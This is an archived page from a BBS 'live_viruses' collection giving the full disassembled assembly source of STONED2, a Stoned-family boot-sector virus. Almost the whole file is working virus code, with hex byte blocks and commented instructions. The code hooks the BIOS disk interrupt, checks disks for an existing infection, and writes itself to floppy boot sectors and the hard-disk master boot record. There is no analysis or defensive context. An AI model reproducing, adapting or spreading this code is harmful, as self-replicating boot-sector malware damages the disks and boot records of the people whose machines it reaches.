home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / stonedii.asm < prev    next >
Assembly Source File  |  1980-01-01  |  4KB  |  178 lines

  1.   
  2. PAGE  60,132
  3.   
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    STONED2                         ██
  7. ;██                                         ██
  8. ;██      Created:   1-Jan-80                             ██
  9. ;██                                         ██
  10. ;██████████████████████████████████████████████████████████████████████████
  11.   
  12. DATA_1E        EQU    8                ; (694B:0008=0)
  13. DATA_2E        EQU    9                ; (694B:0009=0)
  14. DATA_3E        EQU    11H                ; (694B:0011=0)
  15.   
  16. CODE_SEG_A    SEGMENT
  17.         ASSUME    CS:CODE_SEG_A, DS:CODE_SEG_A
  18.   
  19.   
  20.         ORG    100h
  21.   
  22. stoned2        PROC    FAR
  23.   
  24. start:
  25.         DB    31488 DUP (0)
  26.         DB    0EAH, 5, 0, 0C0H, 7, 0E9H
  27.         DB    99H, 0, 0, 11H, 99H, 0
  28.         DB    0F0H, 0E4H, 0, 80H, 9FH, 0
  29.         DB    7CH, 0, 0, 1EH, 50H, 80H
  30.         DB    0FCH, 2, 72H, 17H, 80H, 0FCH
  31.         DB    4, 73H, 12H, 0AH, 0D2H, 75H
  32.         DB    0EH, 33H, 0C0H, 8EH, 0D8H, 0A0H
  33.         DB    3FH, 4, 0A8H, 1, 75H, 3
  34.         DB    0E8H, 7, 0, 58H, 1FH, 2EH
  35.         DB    0FFH, 2EH, 9, 0, 53H, 51H
  36.         DB    52H, 6, 56H, 57H, 0BEH, 4
  37.         DB    0
  38. LOC_1:
  39.         MOV    AX,201H
  40.         PUSH    CS
  41.         POP    ES
  42.         MOV    BX,200H
  43.         XOR    CX,CX                ; Zero register
  44.         MOV    DX,CX
  45.         INC    CX
  46.         PUSHF                    ; Push flags
  47.         CALL    DWORD PTR CS:DATA_2E        ; (694B:0009=0)
  48.         JNC    LOC_2                ; Jump if carry=0
  49.         XOR    AX,AX                ; Zero register
  50.         PUSHF                    ; Push flags
  51.         CALL    DWORD PTR CS:DATA_2E        ; (694B:0009=0)
  52.         DEC    SI
  53.         JNZ    LOC_1                ; Jump if not zero
  54.         JMP    SHORT LOC_4
  55.         DB    90H
  56. LOC_2:
  57.         XOR    SI,SI                ; Zero register
  58.         MOV    DI,200H
  59.         CLD                    ; Clear direction
  60.         PUSH    CS
  61.         POP    DS
  62.         LODSW                    ; String [si] to ax
  63.         CMP    AX,[DI]
  64.         JNE    LOC_3                ; Jump if not equal
  65.         LODSW                    ; String [si] to ax
  66.         CMP    AX,[DI+2]
  67.         JE    LOC_4                ; Jump if equal
  68. LOC_3:
  69.         MOV    AX,301H
  70.         MOV    BX,200H
  71.         MOV    CL,3
  72.         MOV    DH,1
  73.         PUSHF                    ; Push flags
  74.         CALL    DWORD PTR CS:DATA_2E        ; (694B:0009=0)
  75.         JC    LOC_4                ; Jump if carry Set
  76.         MOV    AX,301H
  77.         XOR    BX,BX                ; Zero register
  78.         MOV    CL,1
  79.         XOR    DX,DX                ; Zero register
  80.         PUSHF                    ; Push flags
  81.         CALL    DWORD PTR CS:DATA_2E        ; (694B:0009=0)
  82. LOC_4:
  83.         POP    DI
  84.         POP    SI
  85.         POP    ES
  86.         POP    DX
  87.         POP    CX
  88.         POP    BX
  89.         RET
  90.         DB    33H, 0C0H, 8EH, 0D8H, 0FAH, 8EH
  91.         DB    0D0H, 0BCH, 0, 7CH, 0FBH, 0A1H
  92.         DB    4CH, 0, 0A3H, 9, 7CH, 0A1H
  93.         DB    4EH, 0, 0A3H, 0BH, 7CH, 0A1H
  94.         DB    13H, 4, 48H, 48H, 0A3H, 13H
  95.         DB    4, 0B1H, 6, 0D3H, 0E0H, 8EH
  96.         DB    0C0H, 0A3H, 0FH, 7CH, 0B8H, 15H
  97.         DB    0, 0A3H, 4CH, 0, 8CH, 6
  98.         DB    4EH, 0, 0B9H, 0B8H, 1, 0EH
  99.         DB    1FH, 33H, 0F6H, 8BH, 0FEH, 0FCH
  100.         DB    0F3H, 0A4H, 2EH, 0FFH, 2EH, 0DH
  101.         DB    0, 0B8H, 0, 0, 0CDH, 13H
  102.         DB    33H, 0C0H, 8EH, 0C0H, 0B8H, 1
  103.         DB    2, 0BBH, 0, 7CH, 2EH, 80H
  104.         DB    3EH, 8, 0, 0, 74H, 0BH
  105.         DB    0B9H, 7, 0, 0BAH, 80H, 0
  106.         DB    0CDH, 13H, 0EBH, 49H, 90H, 0B9H
  107.         DB    3, 0, 0BAH, 0, 1, 0CDH
  108.         DB    13H, 72H, 3EH, 26H, 0F6H, 6
  109.         DB    6CH, 4, 7, 75H, 12H, 0BEH
  110.         DB    89H, 1, 0EH, 1FH
  111. LOC_5:
  112.         LODSB                    ; String [si] to al
  113.         OR    AL,AL                ; Zero ?
  114.         JZ    LOC_6                ; Jump if zero
  115.         MOV    AH,0EH
  116.         MOV    BH,0
  117.         INT    10H                ; Video display   ah=functn 0Eh
  118.                             ;  write char al, teletype mode
  119.         JMP    SHORT LOC_5
  120. LOC_6:
  121.         PUSH    CS
  122.         POP    ES
  123.         MOV    AX,201H
  124.         MOV    BX,200H
  125.         MOV    CL,1
  126.         MOV    DX,80H
  127.         INT    13H                ; Disk  dl=drive a: ah=func 02h
  128.                             ;  read sectors to memory es:bx
  129.         JC    LOC_7                ; Jump if carry Set
  130.         PUSH    CS
  131.         POP    DS
  132.         MOV    SI,200H
  133.         MOV    DI,0
  134.         LODSW                    ; String [si] to ax
  135.         CMP    AX,[DI]
  136.         JNE    LOC_8                ; Jump if not equal
  137.         LODSW                    ; String [si] to ax
  138.         CMP    AX,[DI+2]
  139.         JNE    LOC_8                ; Jump if not equal
  140. LOC_7:
  141.         MOV    BYTE PTR CS:DATA_1E,0        ; (694B:0008=0)
  142.         JMP    DWORD PTR CS:DATA_3E        ; (694B:0011=0)
  143. LOC_8:
  144.         MOV    BYTE PTR CS:DATA_1E,2        ; (694B:0008=0)
  145.         MOV    AX,301H
  146.         MOV    BX,200H
  147.         MOV    CX,7
  148.         MOV    DX,80H
  149.         INT    13H                ; Disk  dl=drive a: ah=func 03h
  150.                             ;  write sectors from mem es:bx
  151.         JC    LOC_7                ; Jump if carry Set
  152.         PUSH    CS
  153.         POP    DS
  154.         PUSH    CS
  155.         POP    ES
  156.         MOV    SI,3BEH
  157.         MOV    DI,1BEH
  158.         MOV    CX,242H
  159.         REP    MOVSB                ; Rep while cx>0 Mov [si] to es:[di]
  160.         MOV    AX,301H
  161.         XOR    BX,BX                ; Zero register
  162.         INC    CL
  163.         INT    13H                ; Disk  dl=drive a: ah=func 03h
  164.                             ;  write sectors from mem es:bx
  165.         JMP    SHORT LOC_7
  166.         DB    7
  167.         DB    35 DUP (0)
  168.         DB    67H, 2, 6, 67H, 2, 67H
  169.         DB    2, 0BH, 3, 67H, 2
  170.   
  171. stoned2        ENDP
  172.   
  173. CODE_SEG_A    ENDS
  174.   
  175.   
  176.   
  177.         END    START
  178.